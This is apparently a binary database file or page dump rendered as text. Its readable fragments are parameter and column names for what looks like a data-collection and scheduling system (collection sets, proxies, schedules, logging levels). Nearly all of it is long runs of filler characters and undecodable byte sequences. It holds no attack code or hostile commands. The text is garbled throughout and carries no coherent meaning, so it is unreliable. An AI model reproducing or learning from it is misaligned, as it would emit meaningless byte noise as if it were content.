Khas_targets0-Ko4S@parameter_name0-Ko4U@parameter_value!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Ifs$OCh!DW}2

A
{J

A
		j	=`#Pk !W$U`-4)6bENe30-4G@comments0-4O@error_string0-
88
I@action_id0-ð4?@name0-ð88
Q@object_set_id0-@88
Y@collection_set_id0-@$$[@collection_set_uid0-@4?@name0-@4G@new_name0-@4C@target0-@44U@collection_mode0-@44a@days_until_expiration0-@88
G@proxy_id0-@	4K@proxy_name0-@
$$O@schedule_uid0-@4Q@schedule_name0-@44Q@logging_level0-@
@4M@description0-@88
M@schedule_id0-@44]@old_collection_mode0-@88
O@old_proxy_id0-@$$a@old_collection_job_id0-@$$Y@old_upload_job_id0-u$$E@plan_id0-u$$K@subplan_id0-u==K@start_time0-u$$S@task_detail_id0-88
Ktarget_type0-88
Oresource_type0-88
Uutilization_type0-4Ifacet_name0-4Qattribute_name0-88
Ooperator_type0-4Oproperty_name0-$$M@instance_id0-k4?@name0-k4_@reassign_to_operator0-88
Q@object_set_id0-88
Q@is_referenced0-&488
Y@collection_set_id0-&44?@name0-&44G@new_name0-&44C@target0-&444U@collection_mode0-&444a@days_until_expiration0-&488
G@proxy_id0-&44K@proxy_name0-&4	$$O@schedule_uid0-&4
4Q@schedule_name0-&444Q@logging_level0-&4@4M@description0-T88
S@new_set_number!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!q ?

F
gf'

<
		M	`,|4IL	(~?`%K*HM *h?r>ҕ;?r>ҕ;?r>ҕ;	?r>ҕ;
?r>ҕ;?r>ҕ;?r>ҕ;
WE>/WE>/WE>/WE>/WE>/WE>/WE>/
WE>L*WE>L*WE>L*
WE>L*^?|6^?(C^?(C^?AD^?AD^?)?K^?)?K^?)?K^?KR[{Y1?HY1?l
Y1?4^Y1?4^Y1?Y1?Y1?ðY1?AY1?AY1?AY1?AY1?AY1?AY1?A	Y1?A
Y1?AY1?AY1?A
Y1?3Y1?3Y1?3Y1?3
Y1?9I=Y1?eQY1?eQY1?KY1?KDhF?':cf?b1cf?L:cf?;PS@iMS@ە
S@MޅS@&nS@^?S@(CS@(CS@(CS@ADS@ADS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?K	S@)?K
S@)?KS@)?KS@)?K
S@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@)?KS@q}%@H}%@A}%@A}%@9I=@S@Aە
AMޅA&nA^?A(CA(CA(CAADAADA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?K	A)?K
A)?KA)?KA)?K
A)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KA)?KAqi?!=i?!=i?L*i?L*i?L*i?WE>i?WE>i?WE>ɍ@<ɍ@<ɍ@!=ɍ@!=ɍ@ݐ.ɍ@ݐ.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`D(




d
H
,

hL0lP4X< t




p
T
8


				t	X	<	 		x\@$|`D(@$x\dH,hL0lP4pT8tX< x\@$|`~KJlIM@{z
j8z
j8z
j8z
j8z
j8z
j8z
j8z
j8	z
j8
z
j8
H
l

K
K&Y>&nz
&nj8&nj8&nj8&nj8&nj8&nj8&nAD&nAD&neE&neE&neQ&neQ&nW&nX&nX&nd]&nd]&nd]&nd]52/
52/
_<M_<M_<M_<M_<M	_<MJbbJbbJbbnVEYH$nVEYH$zEYH$zEYH$
)>>iM>ە
>Jb>1oV>jJ>AD>AD>+\>+\>+\>+\>Ha4^P"4^P"4^P"2iM2q	2>2eE2+\2+\2Ha2Ha2Ha2Ha2Ha2Ha2Ha	2Ha
2Ha2Ha2Ha
2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha'iM'2',le',le|
|
|
|
|
|
|
|
|
	|

|
|
|

|
|
|
|
|
^	c		c		c		c		c		c		c		c	N$'N$"BN$"BN$eQN$eQN$eQ	*p|	*p|34Z34Z34Z34Z34Za4_a4_a4_a4_a4_a4_a4_a4_a4_	a4_
a4_a4_a4_
a4_a/
%/
%@4m%@4m%@4m%@4m%@4m%@4m%@4m%@4m%@4m	%@4m
%@4m%@4m%@4m
%@4m!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P4pT8|`D(




d
H
,

tX< x\@$hL0lP4




p
